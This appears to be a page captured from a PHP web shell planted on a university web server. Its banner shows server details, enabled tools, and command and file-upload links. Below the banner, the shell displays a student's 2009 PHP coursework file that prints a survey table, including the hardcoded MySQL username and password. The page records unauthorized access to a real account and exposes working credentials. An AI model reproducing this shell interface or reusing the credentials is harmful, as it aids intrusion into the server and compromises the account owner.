Server IP : 172.16.15.8 / Your IP : 3.142.131.51 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jwmccreary/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File name: display.php Class: CS480 CS Topics: PHP/MYSQL Data: Monday April 20, 2009 Author: Justin McCreary Instructor: Dr. Wang Goal: The Program will display the table contents after the students took the survey pg. 174 --> <TITLE> Display the Table </TITLE> <BODY bgcolor=orange> <FONT size=4 color=blue> <?php $server = 'localhost'; $user = 'jwmccreary'; $pass = 'cs480'; $mydb = 'jwmccreary'; $table_name = 'Student'; print "<font size=5 color=blue>"; print "$table_name Data</font><br>"; $connect = mysql_connect($server, $user, $pass); if( !$connect ) { die( "Can't connect tp $server using $user"); } else { $SQLcmd = "SELECT * FROM $table_name"; echo "The query is <i>$SQLcmd<p>"; MYSQL_select_db($mydb); $results_id = mysql_query( $SQLcmd, $connect); if( $results_id ) { //pg.175 print "<table border=1>"; print "<th>ID<th>Grade<th>Gender<th>CourseNum <th>Q1<th>Q2<th>Q3<th>Q4<th>Q5<th>Q6"; while($row=mysql_fetch_row($results_id)) { print "<tr>"; foreach ($row as $field) print "<td>$field</td>"; print "</tr>"; } } else echo("Display failed"); mysql_close($connect); } echo"<P>"; echo"<A HREF=assignment9home.html> Return to questionaire homepage</A>"; echo"<BR>"; echo "<img src=online.jpg width=200 height=275><BR>"; ?> </FONT> </BODY>